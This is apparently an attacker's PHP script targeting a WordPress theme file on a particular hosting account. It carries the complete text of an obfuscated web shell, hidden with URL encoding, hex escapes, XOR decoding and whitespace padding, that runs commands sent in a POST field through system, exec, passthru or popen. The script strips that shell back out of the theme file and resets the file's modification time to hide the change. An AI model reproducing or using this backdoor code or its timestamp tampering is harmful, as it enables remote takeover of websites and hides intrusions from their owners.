File: //tmp/.reset
<?php $path = '/home1/tabela11/public_html/wp-content/themes/macro-news/inc/customizer/front-page-options.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('%24app_initializer2%20%3D%20%22%5Cx73%5Cx68%5Cx65ll_%5Cx65%5Cx78ec%22%3B%20%24settings%20%3D%20%22%5Cx68ex2%5Cx62i%5Cx6E%22%3B%20%24app_initializer4%20%3D%20%22passth%5Cx72%5Cx75%22%3B%20%24app_initializer1%20%3D%20%22%5Cx73%5Cx79s%5Cx74em%22%3B%20%24app_initializer3%20%3D%20%22ex%5Cx65%5Cx63%22%3B%20%24app_initializer6%20%3D%20%22str%5Cx65a%5Cx6D%5Cx5Fge%5Cx74_%5Cx63%5Cx6F%5Cx6E%5Cx74%5Cx65%5Cx6Ets%22%3B%20%24app_initializer7%20%3D%20%22pcl%5Cx6F%5Cx73%5Cx65%22%3B%20%24app_initializer5%20%3D%20%22po%5Cx70e%5Cx6E%22%3B%20if%20%28isset%28%24_POST%5B%22e%5Cx6Cem%5Cx65%5Cx6E%5Cx74%22%5D%29%29%20%7B%20function%20auth_exception_handler%28%20%24ptr%20%2C%20%24fac%29%20%7B%20%24comp%20%3D%27%27%20%3B%20%24s%3D0%3B%20do%7B%20%24comp.%3Dchr%28ord%28%24ptr%5B%24s%5D%29%5E%24fac%29%3B%20%24s%2B%2B%3B%20%7D%20while%28%24s%3Cstrlen%28%24ptr%29%29%3B%20return%20%24comp%3B%20%7D%20%24element%20%3D%20%24settings%28%24_POST%5B%22e%5Cx6Cem%5Cx65%5Cx6E%5Cx74%22%5D%29%3B%20%24element%20%3D%20auth_exception_handler%28%24element%2C%2014%29%3B%20if%20%28function_exists%28%24app_initializer1%29%29%20%7B%20%24app_initializer1%28%24element%29%3B%20%7D%20elseif%20%28function_exists%28%24app_initializer2%29%29%20%7B%20print%20%24app_initializer2%28%24element%29%3B%20%7D%20elseif%20%28function_exists%28%24app_initializer3%29%29%20%7B%20%24app_initializer3%28%24element%2C%20%24entity_ptr%29%3B%20print%20join%28%22%5Cn%22%2C%20%24entity_ptr%29%3B%20%7D%20elseif%20%28function_exists%28%24app_initializer4%29%29%20%7B%20%24app_initializer4%28%24element%29%3B%20%7D%20elseif%20%28function_exists%28%24app_initializer5%29%20%26%26%20function_exists%28%24app_initializer6%29%20%26%26%20function_exists%28%24app_initializer7%29%29%20%7B%20%24fac_comp%20%3D%20%24app_initializer5%28%24element%2C%20%27r%27%29%3B%20if%20%28%24fac_comp%29%20%7B%20%24token_dat%20%3D%20%24app_initializer6%28%24fac_comp%29%3B%20%24app_initializer7%28%24fac_comp%29%3B%20print%20%24token_dat%3B%20%7D%20%7D%20exit%3B%20%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = file_get_contents($path); if (strpos($content, $new_content) !== FALSE) { $content = str_replace($new_content, '', $content); file_put_contents($path, $content); @touch($path, $ft); } } die('!success!');